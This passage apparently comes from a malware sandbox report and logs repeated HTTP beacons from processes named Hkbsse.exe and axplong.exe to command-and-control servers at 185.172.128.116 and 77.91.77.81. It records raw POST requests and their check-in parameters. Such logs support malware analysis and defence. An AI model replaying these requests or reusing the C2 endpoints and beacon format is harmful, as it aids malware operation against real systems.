Jul 13, 2024 07:08:31.074234009 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.5	59066	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:31.189013958 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:31.842000008 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:08:31.847780943 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:32.049410105 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.5	59067	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:32.157639980 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:32.799740076 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:08:32.800894022 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:32.992247105 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.5	59068	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:33.117403030 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:33.754853010 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:08:33.759030104 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:33.953701019 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.5	59069	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:34.064393044 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:34.972063065 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:08:34.973156929 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:08:34.973314047 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:35.166210890 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.5	59070	77.91.77.81	80	6360	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:34.268464088 CEST	180	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 31 Cache-Control: no-cache Data Raw: 65 30 3d 31 30 30 30 32 32 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e0=1000227001&unit=246122658369
Jul 13, 2024 07:08:34.973448038 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.5	59072	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:35.283526897 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:35.989394903 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:08:35.996546984 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:36.190190077 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.5	59073	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:36.298357010 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:36.949760914 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.5	59074	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:36.963248014 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:37.934604883 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	59075	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:38.052774906 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:38.691679001 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	59076	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:38.700731993 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:39.347910881 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.5	59077	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:39.474534035 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:40.128680944 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.5	59078	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:40.138581038 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:40.794724941 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.5	59080	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:40.922269106 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:41.742506027 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.5	59081	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:41.754834890 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:42.411128044 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.5	59082	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:42.535804033 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:43.207760096 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 13, 2024 07:08:43.233232021 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:43.441327095 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.5	59083	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:43.553730965 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:44.219024897 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.5	59084	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:44.227744102 CEST	311	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 44 43 41 32 32 30 37 32 34 43 41 38 44 43 31 32 31 35 37 44 45 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 35 34 31 43 43 46 38 31 32 41 32 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7DCA220724CA8DC12157DEBD66259586F0F21EA74869AC58983B5541CCF812A2DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Jul 13, 2024 07:08:44.875787020 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.5	59085	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
Jul 13, 2024 07:08:44.991492033 CEST	157	OUT	POST /Mb3GvQs8/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.172.128.116 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 13, 2024 07:08:45.634968042 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 13 Jul 2024 05:08:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.5	59086	185.172.128.116	80	7684	C:\Users\user\AppData\Local\Temp\b66a8ae076\Hkbsse.exe

Timestamp	Bytes transferred	Direction	Data
